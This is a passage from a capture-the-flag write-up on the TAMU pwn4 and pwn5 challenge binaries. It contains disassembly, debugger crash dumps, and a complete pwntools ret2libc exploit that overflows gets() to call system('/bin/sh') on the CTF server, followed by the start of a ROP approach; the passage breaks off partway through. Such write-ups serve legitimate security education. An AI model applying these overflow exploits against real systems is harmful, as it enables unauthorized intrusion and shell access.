[0x08048490]> pdf @ sym.main ;-- main: / (fcn) sym.main 44 | sym.main (); | ; var int local_4h @ esp+0x4 | ; DATA XREF from 0x080484a7 (entry0) | 0x08048783 8d4c2404 lea ecx, dword [esp + local_4h] ; 0x4 | 0x08048787 83e4f0 and esp, 0xfffffff0 | 0x0804878a ff71fc push dword [ecx - 4] | 0x0804878d 55 push ebp | 0x0804878e 89e5 mov ebp, esp | 0x08048790 51 push ecx | 0x08048791 83ec04 sub esp, 4 | 0x08048794 a140a00408 mov eax, dword [obj.stdout] ; [0x804a040:4]=0x3a434347 LEA obj.stdout ; "GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.5) 5.4.0 20160609" @ 0x804a040 | 0x08048799 6a00 push 0 | 0x0804879b 6a00 push 0 | 0x0804879d 6a02 push 2 | 0x0804879f 50 push eax | 0x080487a0 e8bbfcffff call sym.imp.setvbuf ; int setvbuf(FILE*stream, char*buf, int mode, size_t size); \ 0x080487a5 83c410 add esp, 0x10 | ; JMP XREF from 0x080487ad (sym.main) | .-> 0x080487a8 e842feffff call sym.reduced_shell | `=< 0x080487ad ebf9 jmp 0x80487a8
There is basically only a call to sym.reduced_shell
. So let's proceed there:
[0x08048490]> pdf @ sym.reduced_shell / (fcn) sym.reduced_shell 404 | sym.reduced_shell (); | ; var int local_1ch @ ebp-0x1c | ; CALL XREF from 0x080487a8 (sym.main) | 0x080485ef 55 push ebp | 0x080485f0 89e5 mov ebp, esp | 0x080485f2 83ec28 sub esp, 0x28 ; '(' | 0x080485f5 83ec0c sub esp, 0xc | 0x080485f8 6842880408 push str.I_am_a_reduced_online_shell ; str.I_am_a_reduced_online_shell ; "I am a reduced online shell" @ 0x8048842 | 0x080485fd e81efeffff call sym.imp.puts ; int puts(const char *s); | 0x08048602 83c410 add esp, 0x10 | 0x08048605 83ec0c sub esp, 0xc | 0x08048608 685e880408 push str.Your_options_are: ; str.Your_options_are: ; "Your options are:" @ 0x804885e | 0x0804860d e80efeffff call sym.imp.puts ; int puts(const char *s); | 0x08048612 83c410 add esp, 0x10 | 0x08048615 83ec0c sub esp, 0xc | 0x08048618 6870880408 push str.1._ls_n2._cal_n3._pwd_n4._whoami_n5._exit ; str.1._ls_n2._cal_n3._pwd_n4._whoami_n5._exit ; "1. ls.2. cal.3. pwd.4. whoami.5. exit" @ 0x8048870 | 0x0804861d e8fefdffff call sym.imp.puts ; int puts(const char *s); | 0x08048622 83c410 add esp, 0x10 | 0x08048625 83ec0c sub esp, 0xc | 0x08048628 6896880408 push str.Input_ ; str.Input_ ; "Input> " @ 0x8048896 | 0x0804862d e8cefdffff call sym.imp.printf ; int printf(const char *format); | 0x08048632 83c410 add esp, 0x10 | 0x08048635 83ec0c sub esp, 0xc | 0x08048638 8d45e4 lea eax, dword [ebp - local_1ch] | 0x0804863b 50 push eax | 0x0804863c e8cffdffff call sym.imp.gets ; char*gets(char *s); ... | |||| 0x0804870d 68a4880408 push 0x80488a4 | |||| 0x08048712 8d45e4 lea eax, dword [ebp - local_1ch] | |||| 0x08048715 50 push eax | |||| 0x08048716 e8d5fcffff call sym.imp.strcmp ; int strcmp(const char *s1, const char *s2); | |||| 0x0804871b 83c410 add esp, 0x10 | |||| 0x0804871e 85c0 test eax, eax | ,=====< 0x08048720 7507 jne 0x8048729 | ||||| ; JMP XREF from 0x08048708 (sym.reduced_shell) | |`----> 0x08048722 e8affeffff call sym.whoami ... | 0x08048781 c9 leave \ 0x08048782 c3 ret
I truncated the output a little bit. The most important fact is that yet again gets
is used the read the user input. This user input is compared to the available commands using strcmp
. If the comparison succeeds the corresponding user defined function is called (for example sym.whoami
):
[0x08048490]> pdf @ sym.whoami / (fcn) sym.whoami 25 | sym.whoami (); | ; CALL XREF from 0x08048722 (sym.reduced_shell) | 0x080485d6 55 push ebp | 0x080485d7 89e5 mov ebp, esp | 0x080485d9 83ec08 sub esp, 8 | 0x080485dc 83ec0c sub esp, 0xc | 0x080485df 683b880408 push str.whoami ; str.whoami ; "whoami" @ 0x804883b | 0x080485e4 e847feffff call sym.imp.system ; int system(const char *string); | 0x080485e9 83c410 add esp, 0x10 | 0x080485ec 90 nop | 0x080485ed c9 leave \ 0x080485ee c3 ret
Within sym.whoami
the libc function system
is called passing the string "whoami"
. This way the command whoami
is executed.
Since our goal is to get a shell, we would like to call system
passing the string "/bin/sh"
.
We have already seen that gets
might be vulnerable to a buffer overflow. Thus we can use the same technique we used for the first binaries:
gdb-peda$ pattern create 300 /tmp/pattern_pwn4 Writing pattern of 300 chars to filename "/tmp/pattern_pwn4" gdb-peda$ r < /tmp/pattern_pwn4 Starting program: /root/Downloads/pwn_tamu/pwn4 < /tmp/pattern_pwn4 I am a reduced online shell Your options are: 1. ls 2. cal 3. pwd 4. whoami 5. exit Input> Unkown Command Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] EAX: 0xa ('\n') EBX: 0x0 ECX: 0xf7fae894 --> 0x0 EDX: 0xa ('\n') ESI: 0xf7fad000 --> 0x1cfd70 EDI: 0x0 EBP: 0x413b4141 ('AA;A') ESP: 0xffffd340 ("EAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A"...) EIP: 0x41412941 ('A)AA') EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] Invalid $PC address: 0x41412941 [------------------------------------stack-------------------------------------] 0000| 0xffffd340 ("EAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A"...) 0004| 0xffffd344 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%"...) 0008| 0xffffd348 ("AFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0"...) 0012| 0xffffd34c ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA"...) 0016| 0xffffd350 ("AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%"...) 0020| 0xffffd354 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G"...) 0024| 0xffffd358 ("2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA"...) 0028| 0xffffd35c ("AAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%"...) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x41412941 in ?? () gdb-peda$ pattern offset $eip 1094789441 found at offset: 32
We successfully overwrote the return address. This time the offset from the buffer to the return address is 32 byte.
In order to get a shell with pwn3
we placed a shellcode in the buffer and overwrote the return address with the address of this shellcode. Here we cannot do this because NX
is enabled meaning that instructions stored on the stack will not be executed.
To spawn a shell nonetheless we can use a technique called return to libc (ret2libc). We simply overwrite the return address with a function from the libc and set up the stack just like on an ordinary function call.
When a function is called, the arguments for the function are pushed on the stack (this depends on the calling convention but is true here). After this the call
instruction pushes the return address on the stack, where the execution should proceed after the function call (the address following the function call). This way the stack looks like this when the function is entered:
[ RETURN ADDRESS ] <--- ESP [ ARGUMENT 1 ]
This return address is not the return address we are going to overwrite! It is the return address of the function call to system
we are going to make. This means that the execution proceeds at this address after the call to system
. Because system
will already spawn our shell, we do not really care where the execution proceeds afterwards and we can simply put some junk in here.
Summing it up the final buffer we are going to use contains:
–> 32 junk-bytes to reach the return address (offset)
–> 4 bytes: address of system
(this is the overwritten return address)
–> 4 junk-bytes (return address after system
)
–> 4 bytes: argument to system
Since we want to pass the string "/bin/sh"
to system
we have to store this string somewhere. Luckily the string is already present within the binary:
[0x08048490]> / /bin/sh Searching 7 bytes from 0x08048000 to 0x0804a048: 2f 62 69 6e 2f 73 68 Searching 7 bytes in [0x8048000-0x804a048] hits: 1 0x0804a038 hit1_0 .fv/bin/shGCC: (Ubuntu 5..
Within r2
we can search a string with a slash (/
). At the address 0x0804a038
the string "/bin/sh"
has been found.
Now we can write a python-script which will set up the buffer and input it to the program running on the ctf server:
root@kali:~/Downloads/pwn_tamu# cat pwn4.py from pwn import * p = remote("pwn.ctf.tamu.edu", 4324) p.recvuntil("Input> ") addr_binsh = 0x804a038 addr_system = 0x8048430 # system@plt expl = "A" * 32 expl += p32(addr_system) expl += "JUNK" expl += p32(addr_binsh) p.sendline(expl) p.interactive()
Running the script calls system("/bin/sh")
spawning a shell:
root@kali:~/Downloads/pwn_tamu# python pwn4.py [+] Opening connection to pwn.ctf.tamu.edu on port 4324: Done [*] Switching to interactive mode Unkown Command $ whoami pwnuser $ ls -al total 20 drwxr-xr-x 2 pwnflag pwnflag 4096 Feb 9 17:00 . drwxr-xr-x 46 root root 4096 Feb 17 11:05 .. -r--r--r-- 1 pwnflag pwnflag 27 Feb 9 04:32 flag.txt -rwsr-xr-x 1 pwnflag pwnflag 7792 Feb 9 04:32 pwn4 $ cat flag.txt gigem{b4ck_70_7h3_l1br4ry}
Done! The flag is gigem{b4ck_70_7h3_l1br4ry}
.
pwn5 (200 pts)
We start by checking the enabled security mechanisms:
root@kali:~/Downloads/pwn_tamu# checksec pwn5 [*] '/root/Downloads/pwn_tamu/pwn5' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
Nothing special here. As well as the last binaries there is no stack canary.
The program is a little text adventure:
root@kali:~/Downloads/pwn_tamu# ./pwn5 Welcome to the TAMU Text Adventure! You are about to begin your journey at Texas A&M as a student But first tell me a little bit about yourself What is your first name?: ffff What is your last name?: llll What is your major?: mmmm Are you joining the Corps of Cadets?(y/n): y Welcome, ffff llll, to Texas A&M! You wake with a start as your sophomore yells "Wake up fish llll! Why aren't you with your buddies in the fallout hole?" As your sophomore slams your door close you quickly get dressed in pt gear and go to the fallout hole. You spend your morning excersizing and eating chow. Finally your first day of class begins at Texas A&M. What do you decide to do next?(Input option number) 1. Go to class. 2. Change your major. 3. Skip class and sleep 4. Study 1 You go to class and sit front and center as the Corps academic advisors told you to do. As the lecturer drones on about a topic that you don't quite understand in the field of mmmm you feel yourself beginning to drift off. You wake with a start and find that you are alone in the lecture hall.
Let's have a look at it using r2
:
root@kali:~/Downloads/pwn_tamu# r2 pwn5 Warning: Cannot initialize dynamic strings [0x08048756]> aaa ... [0x08048756]> iI havecode true pic false canary false nx true crypto false va true bintype elf class ELF32 lang c arch x86 bits 32 machine Intel 80386 os linux minopsz 1 maxopsz 16 pcalign 0 subsys linux endian little stripped false static true linenum true lsyms true relocs true rpath NONE binsz 749160
The command iI
does basically the same as checksec
providing a few more details. This was not relevant for the last binaries but here there is something special. The highlighted line states that the binary is static. This means that all required functions (for example from libc) are built in within the binary. This way no shared libraries are required to run the program. Unfortunately this also means that we cannot use ret2libc because we can only use the functions which are built-in.
Before we get to the actual exploit we have to spot a vulnerability within the program:
[0x08048756]> pdf @ main ;-- main: / (fcn) sym.main 36 | sym.main (int arg_4h); | ; arg int arg_4h @ esp+0x4 | ; DATA XREF from 0x0804876d (entry0) | 0x08048c85 8d4c2404 lea ecx, dword [esp + arg_4h] ; 0x4 | 0x08048c89 83e4f0 and esp, 0xfffffff0 | 0x08048c8c ff71fc push dword [ecx - 4] | 0x08048c8f 55 push ebp | 0x08048c90 89e5 mov ebp, esp | 0x08048c92 51 push ecx | 0x08048c93 83ec04 sub esp, 4 | 0x08048c96 e891feffff call sym.print_beginning ; floating_point rint(arithmetic x); | 0x08048c9b b800000000 mov eax, 0 | 0x08048ca0 83c404 add esp, 4 | 0x08048ca3 59 pop ecx | 0x08048ca4 5d pop ebp | 0x08048ca5 8d61fc lea esp, dword [ecx - 4] \ 0x08048ca8 c3 ret
Within the main
function there is basically only a call to sym.print_beginning
:
[0x08048756]> pdf @ sym.print_beginning / (fcn) sym.print_beginning 345 | sym.print_beginning (); | ; var int local_9h @ ebp-0x9 | ; CALL XREF from 0x08048c96 (sym.main) ... | 0x08048b7a 50 push eax | 0x08048b7b 6a64 push 0x64 ; 'd' ; 'd' | 0x08048b7d 68201a0f08 push obj.first_name ; obj.first_name ; obj.first_name | 0x08048b82 e839680000 call sym.fgets ; char *fgets(char *s, int size, FILE *stream); | 0x08048b87 83c410 add esp, 0x10 | 0x08048b8a 83ec08 sub esp, 8 | 0x08048b8d 68adfd0b08 push 0x80bfdad | 0x08048b92 68201a0f08 push obj.first_name ; obj.first_name ; obj.first_name | 0x08048b97 e8043d0100 call sym.strtok ; char*strtok(char *s1, const char *s2); | 0x08048b9c 83c410 add esp, 0x10 | 0x08048b9f 83ec0c sub esp, 0xc | 0x08048ba2 68affd0b08 push str.What_is_your_last_name_: ; str.What_is_your_last_name_: ; "What is your last name?: " @ 0x80bfdaf | 0x08048ba7 e834640000 call sym.__printf ; int printf(const char *format); | 0x08048bac 83c410 add esp, 0x10 | 0x08048baf a1bc040f08 mov eax, dword [obj.stdin] ; [0x80f04bc:4]=0x80f0360 obj._IO_2_1_stdin_ LEA obj._IO_stdin ; "`............" @ 0x80f04bc | 0x08048bb4 83ec04 sub esp, 4 | 0x08048bb7 50 push eax | 0x08048bb8 6a64 push 0x64 ; 'd' ; 'd' | 0x08048bba 68a01a0f08 push obj.last_name ; obj.last_name ; obj.last_name | 0x08048bbf e8fc670000 call sym.fgets ; char *fgets(char *s, int size, FILE *stream); | 0x08048bc4 83c410 add esp, 0x10 | 0x08048bc7 83ec08 sub esp, 8 | 0x08048bca 68adfd0b08 push 0x80bfdad | 0x08048bcf 68a01a0f08 push obj.last_name ; obj.last_name ; obj.last_name | 0x08048bd4 e8c73c0100 call sym.strtok ; char*strtok(char *s1, const char *s2); | 0x08048bd9 83c410 add esp, 0x10 | 0x08048bdc 83ec0c sub esp, 0xc | 0x08048bdf 68c9fd0b08 push str.What_is_your_major_: ; str.What_is_your_major_: ; "What is your major?: " @ 0x80bfdc9 | 0x08048be4 e8f7630000 call sym.__printf ; int printf(const char *format); | 0x08048be9 83c410 add esp, 0x10 | 0x08048bec a1bc040f08 mov eax, dword [obj.stdin] ; [0x80f04bc:4]=0x80f0360 obj._IO_2_1_stdin_ LEA obj._IO_stdin ; "`............" @ 0x80f04bc | 0x08048bf1 83ec04 sub esp, 4 | 0x08048bf4 50 push eax | 0x08048bf5 6a14 push 0x14 | 0x08048bf7 68041a0f08 push obj.major ; obj.major ; obj.major | 0x08048bfc e8bf670000 call sym.fgets ; char *fgets(char *s, int size, FILE *stream); ... | 0x08048c83 c9 leave \ 0x08048c84 c3 ret
I truncated the output a little bit. The highlighted lines read the user input. But this time fgets
is used instead of gets
. fgets
is called passing the maximum amount of bytes to read. This means we cannot leverage this for a buffer overflow as long as the appropriate amount is passed. Since this seems right for the calls above, let's keep on looking in other functions:
[0x08048756]> pdf @ sym.first_day_corps / (fcn) sym.first_day_corps 296 | sym.first_day_corps (); ... | 0x08048a5f e8fc870000 call sym.getchar ; int getchar(void); | 0x08048a64 e8f7870000 call sym.getchar ; int getchar(void); | 0x08048a69 8845f7 mov byte [ebp - local_9h], al | 0x08048a6c 0fbe45f7 movsx eax, byte [ebp - local_9h] | 0x08048a70 83f832 cmp eax, 0x32 ; '2' ; '2' | ,=< 0x08048a73 7455 je 0x8048aca | | 0x08048a75 83f832 cmp eax, 0x32 ; '2' ; '2' ... | |||||`-> 0x08048aca 83ec08 sub esp, 8 | ||||| 0x08048acd 68041a0f08 push obj.major ; obj.major ; obj.major | ||||| 0x08048ad2 6884f70b08 push str.You_decide_that_you_are_already_tired_of_studying__s_and_go_to_the_advisors_office_to_change_your_major_n ; str.You_decide_that_you_are_already_tired_of_studying__s_and_go_to_the_advisors_office_to_change_your_major_n ; "You decide that you are already tired of studying %s and go to the advisors office to change your major." @ 0x80bf784 | ||||| 0x08048ad7 e804650000 call sym.__printf ; int printf(const char *format); | ||||| 0x08048adc 83c410 add esp, 0x10 | ||||| 0x08048adf 83ec0c sub esp, 0xc | ||||| 0x08048ae2 68f0f70b08 push str.What_do_you_change_your_major_to_: ; str.What_do_you_change_your_major_to_: ; "What do you change your major to?: " @ 0x80bf7f0 | ||||| 0x08048ae7 e8f4640000 call sym.__printf ; int printf(const char *format); | ||||| 0x08048aec 83c410 add esp, 0x10 | ||||| 0x08048aef e8a8fdffff call sym.change_major | |||||,=< 0x08048af4 eb33 jmp 0x8048b29 ... | `-````-> 0x08048b29 90 nop | 0x08048b2a c9 leave \ 0x08048b2b c3 ret
Here getchar
is used, which only reads a single character. No overflow here, too. Let's keep on searching:
[0x08048756]> pdf @ sym.change_major / (fcn) sym.change_major 72 | sym.change_major (); | ; var int local_1ch @ ebp-0x1c | ; CALL XREF from 0x080489c2 (sym.first_day_normal) | ; CALL XREF from 0x08048aef (sym.first_day_corps) | 0x0804889c 55 push ebp | 0x0804889d 89e5 mov ebp, esp | 0x0804889f 83ec28 sub esp, 0x28 ; '(' | 0x080488a2 e8b9890000 call sym.getchar ; int getchar(void); | 0x080488a7 83ec0c sub esp, 0xc | 0x080488aa 8d45e4 lea eax, dword [ebp - local_1ch] | 0x080488ad 50 push eax | 0x080488ae e82d6f0000 call sym.gets ; char*gets(char *s); | 0x080488b3 83c410 add esp, 0x10 | 0x080488b6 83ec04 sub esp, 4 | 0x080488b9 6a14 push 0x14 | 0x080488bb 68041a0f08 push obj.major ; obj.major ; obj.major | 0x080488c0 8d45e4 lea eax, dword [ebp - local_1ch] | 0x080488c3 50 push eax | 0x080488c4 e897f9ffff call fcn.08048260 | 0x080488c9 83c410 add esp, 0x10 | 0x080488cc 83ec08 sub esp, 8 | 0x080488cf 68041a0f08 push obj.major ; obj.major ; obj.major | 0x080488d4 6808f50b08 push str.You_changed_your_major_to:__s_n ; str.You_changed_your_major_to:__s_n ; "You changed your major to: %s." @ 0x80bf508 | 0x080488d9 e802670000 call sym.__printf ; int printf(const char *format); | 0x080488de 83c410 add esp, 0x10 | 0x080488e1 90 nop | 0x080488e2 c9 leave \ 0x080488e3 c3 ret [0x08048756]>
Great! Within sym.change_major
the function gets
is used to read the user input. We have already seen that this function is prone to buffer overflows.
In order to overflow the buffer within sym.change_major
using a pattern, we have to select the appropriate menu entries of the text adventure beforehand.
I used a python-script to do this:
root@kali:~/Downloads/pwn_tamu# cat pwn5.py from pwn import * p = process("./pwn5") raw_input() p.sendline("ffff") # first_name p.sendline("llll") # last_name p.sendline("mmmm") # major p.sendline("y") # --> Corps of Cadets p.sendline("2") # --> 2. Change your major. p.sendline(cyclic(200)) p.interactive()
After starting the process I added a call to raw_input()
which pauses the execution of the script until something is entered:
root@kali:~/Downloads/pwn_tamu# python pwn5.py [+] Starting local process './pwn5': pid 18553
This way I can attach gdb
to the running process in another shell:
root@kali:~/Downloads# gdb ./pwn5 $(pidof pwn5) ... Attaching to process 18599 Reading symbols from /root/Downloads/pwn_tamu/pwn5...(no debugging symbols found)...done. [----------------------------------registers-----------------------------------] EAX: 0xfffffe00 EBX: 0x0 ECX: 0x8b0a4f0 --> 0x0 EDX: 0x1000 ESI: 0x80f0360 --> 0xfbad2088 EDI: 0x80f1a20 --> 0x0 EBP: 0xff86dc08 --> 0x63 ('c') ESP: 0xff86dbb8 --> 0xff86dc08 --> 0x63 ('c') EIP: 0xf77b5c89 (<__kernel_vsyscall+9>: pop ebp) EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0xf77b5c83 <__kernel_vsyscall+3>: mov ebp,esp 0xf77b5c85 <__kernel_vsyscall+5>: sysenter 0xf77b5c87 <__kernel_vsyscall+7>: int 0x80 => 0xf77b5c89 <__kernel_vsyscall+9>: pop ebp 0xf77b5c8a <__kernel_vsyscall+10>: pop edx 0xf77b5c8b <__kernel_vsyscall+11>: pop ecx 0xf77b5c8c <__kernel_vsyscall+12>: ret 0xf77b5c8d: nop [------------------------------------stack-------------------------------------] 0000| 0xff86dbb8 --> 0xff86dc08 --> 0x63 ('c') 0004| 0xff86dbbc --> 0x1000 0008| 0xff86dbc0 --> 0x8b0a4f0 --> 0x0 0012| 0xff86dbc4 --> 0x8071972 (<__read_nocancel+24>: pop ebx) 0016| 0xff86dbc8 --> 0x80f0360 --> 0xfbad2088 0020| 0xff86dbcc --> 0x8051af2 (<_IO_new_file_underflow+274>: add esp,0x10) 0024| 0xff86dbd0 --> 0x0 0028| 0xff86dbd4 --> 0x8b0a4f0 --> 0x0 [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0xf77b5c89 in __kernel_vsyscall () gdb-peda$
At first we should add a breakpoint to the ret
instruction of the function where the user input vulnerable to a buffer overflow is read:
gdb-peda$ disassemble change_major Dump of assembler code for function change_major: 0x0804889c <+0>: push ebp 0x0804889d <+1>: mov ebp,esp 0x0804889f <+3>: sub esp,0x28 0x080488a2 <+6>: call 0x8051260 <getchar> 0x080488a7 <+11>: sub esp,0xc 0x080488aa <+14>: lea eax,[ebp-0x1c] 0x080488ad <+17>: push eax 0x080488ae <+18>: call 0x804f7e0 <gets> 0x080488b3 <+23>: add esp,0x10 0x080488b6 <+26>: sub esp,0x4 0x080488b9 <+29>: push 0x14 0x080488bb <+31>: push 0x80f1a04 0x080488c0 <+36>: lea eax,[ebp-0x1c] 0x080488c3 <+39>: push eax 0x080488c4 <+40>: call 0x8048260 0x080488c9 <+45>: add esp,0x10 0x080488cc <+48>: sub esp,0x8 0x080488cf <+51>: push 0x80f1a04 0x080488d4 <+56>: push 0x80bf508 0x080488d9 <+61>: call 0x804efe0 <printf> 0x080488de <+66>: add esp,0x10 0x080488e1 <+69>: nop 0x080488e2 <+70>: leave 0x080488e3 <+71>: ret End of assembler dump. gdb-peda$ b *change_major+71 Breakpoint 1 at 0x80488e3
After this we can continue the process' execution:
gdb-peda$ c Continuing.
Now we can hit ENTER
in the other shell continuing the executon of the python-script:
... <ENTER> [*] Switching to interactive mode Welcome to the TAMU Text Adventure! You are about to begin your journey at Texas A&M as a student But first tell me a little bit about yourself What is your first name?: What is your last name?: What is your major?: Are you joining the Corps of Cadets?(y/n): Welcome, ffff llll, to Texas A&M! You wake with a start as your sophomore yells "Wake up fish llll! Why aren't you with your buddies in the fallout hole?" As your sophomore slams your door close you quickly get dressed in pt gear and go to the fallout hole. You spend your morning excersizing and eating chow. Finally your first day of class begins at Texas A&M. What do you decide to do next?(Input option number) 1. Go to class. 2. Change your major. 3. Skip class and sleep 4. Study You decide that you are already tired of studying mmmm and go to the advisors office to change your major What do you change your major to?: You changed your major to: mmmm $
In the gdb
shell the breakpoint is hit:
[----------------------------------registers-----------------------------------] EAX: 0x20 (' ') EBX: 0x80481b0 (<_init>: push ebx) ECX: 0x7fffffe0 EDX: 0x80f14d4 --> 0x0 ESI: 0x80f000c --> 0x80649f0 (<__strcpy_ssse3>: mov edx,DWORD PTR [esp+0x4]) EDI: 0x5c ('\\') EBP: 0x61616168 ('haaa') ESP: 0xff86dcdc ("iaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab") EIP: 0x80488e3 (<change_major+71>: ret) EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x80488de <change_major+66>: add esp,0x10 0x80488e1 <change_major+69>: nop 0x80488e2 <change_major+70>: leave => 0x80488e3 <change_major+71>: ret 0x80488e4 <first_day_normal>: push ebp 0x80488e5 <first_day_normal+1>: mov ebp,esp 0x80488e7 <first_day_normal+3>: sub esp,0x18 0x80488ea <first_day_normal+6>: sub esp,0xc [------------------------------------stack-------------------------------------] 0000| 0xff86dcdc ("iaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab") 0004| 0xff86dce0 ("jaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab") 0008| 0xff86dce4 ("kaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab") 0012| 0xff86dce8 ("laaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab") 0016| 0xff86dcec ("maaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab") 0020| 0xff86dcf0 ("naaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab") 0024| 0xff86dcf4 ("oaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab") 0028| 0xff86dcf8 ("paaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab") [------------------------------------------------------------------------------] Legend: code, data, rodata, value Breakpoint 1, 0x080488e3 in change_major () gdb-peda$
The next instruction is the ret
instruction which will take the return address from the stack and proceed the execution at this address. On top of the stack is the value "iaaa"
from our cyclic pattern. This means that the instruction pointer would be set to this value.
We can calculate the offset with python / pwntools
:
root@kali:~/Downloads# python ... >>> from pwn import * >>> cyclic_find("iaaa") 32
We can now control the instruction pointer setting it to any address we would like to. But what address should we put it to? As we already figured out, we cannot use ret2libc since the binary is statically linked. Unfortunately the function system
was not built in. We also cannot store and execute a shellcode on the stack since NX
is enabled. Thus we have to use another technique called Return Oriented Programming (ROP). For more information on this technique see my writeup for RPISEC/MBE lab05.
ROP in short: we build a so called RIP-chain of little instruction snippets (gadgets) followed by a ret
instruction in order to perform a more complex operation. In this case we want to make a syscall to execve
passing the string "/bin/sh"
. This is the same what the shellcode we used for pwn3
does.
Unfortunately the binary does not contain the string "/bin/sh"
. This means we have to store it somewhere on our own. Because of ASLR the stack addresses are randomized and if we stored the string on the stack, we would not know its' address.
Luckily the information read on the beginning of the program (first_name
, last_name
, ...) are not stored on the stack:
[0x08048756]> is~first_name vaddr=0x080f1a20 paddr=0x000a8a20 ord=1946 fwd=NONE sz=100 bind=GLOBAL type=OBJECT name=first_name
The variable first_name
is global and is not being initialized. Uninitialized global variables are stored in the .bss
